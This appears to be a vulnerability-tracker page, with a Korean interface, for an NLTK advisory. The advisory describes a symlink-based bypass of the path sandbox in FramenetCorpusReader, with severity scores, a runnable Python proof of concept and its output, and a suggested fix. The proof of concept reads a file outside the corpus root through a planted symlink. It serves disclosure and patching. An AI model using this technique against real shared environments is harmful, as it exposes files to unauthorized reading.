Kestrel
대시보드로 돌아가기
CVE-2026-62384HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 08. 22.수정일: 2026. 09. 08.

NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.6%상위 55.1%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

python
1import os
2import tempfile
3
4from nltk.corpus.reader.framenet import FramenetCorpusReader
5
6root = tempfile.mkdtemp()
7corpus_root = os.path.join(root, "framenet_v17")
8frame_dir = os.path.join(corpus_root, "frame")
9secret_dir = os.path.join(root, "outside_framenet_root")
10os.makedirs(frame_dir)
11os.makedirs(secret_dir)
12
13with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
14 f.write("<frameRelations/>")
15
16secret_path = os.path.join(secret_dir, "stolen.xml")
17with open(secret_path, "w") as f:
18 f.write(
19 '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
20 "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
21 "</frame>"
22 )
23
24# Attacker plants this inside <corpus_root>/frame/. No path separators,
25# so it passes _reject_unsafe_path_component cleanly.
26link_path = os.path.join(frame_dir, "evil_link.xml")
27os.symlink(secret_path, link_path)
28
29reader = FramenetCorpusReader(corpus_root, [])
30reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build
31
32result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere
33print("frame name:", result["name"])
34print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

text
1frame name: StolenFrame
2definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.